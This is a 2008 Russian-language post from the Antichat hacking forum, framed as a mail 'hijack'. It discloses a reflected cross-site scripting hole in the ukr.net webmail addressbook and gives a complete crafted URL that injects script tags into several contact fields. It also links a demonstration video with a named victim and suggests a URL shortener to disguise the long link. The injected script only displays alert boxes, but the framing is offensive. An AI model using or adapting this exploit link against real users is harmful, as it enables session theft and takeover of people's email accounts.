02.10.2008, 17:24
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме:
7617458
Репутация:
3965
|
|
[Угон] Почта на ukr.net
Хакеры! Там нет ничево интересного! просьба не смотреть!
Всем привет. Это мое первое видео  . Сегодня мною была обнаружена пассивная хсс на сервисе ukr.net - http://freemail.ukr.net: Отсутствие\плохая фильтрация в скрипте "аddressbook"
Условия: Жертва должна быть залогинена. Жертва должна пройти по специально сформированой ссылке.
Пример:
_ttp://freemail.ukr.net/q/addressbook?mode=edit&id=&LastName="><script>alert (/xek/)</script>&FirstName=%22%3E%3Cscript%3Ealert%28%2Fby+ %2F%29%3C%2Fscript%3E&NickName=%22%3E%3Cscript%3Ea lert%28%2Fxek+by+Dimi4%2F%29%3C%2Fscript%3E&Email= %22%3E%3Cscript%3Ealert%28%2Fxek+by+Dimi4%2F%29%3C %2Fscript%3E&MobilePhone=%22%3E%3Cscript%3Ealert%2 8%2FDimi4%2F%29%3C%2Fscript%3E&submit=%C4%EE%E1%E0 %E2%E8%F2%FC
Видео:
http://rapidshare.com/files/150250737/ukr.net.rar.html
В роли жертвы - T-Rey
П.С. Пошол отправлять на video.antichat.net
П.П.С Слишком долгая ссылка? www.tiny.cc
(c) Dimi4
__________________
BlackHat. MoDL
Последний раз редактировалось Dimi4; 02.10.2008 в 18:22..
|
|
|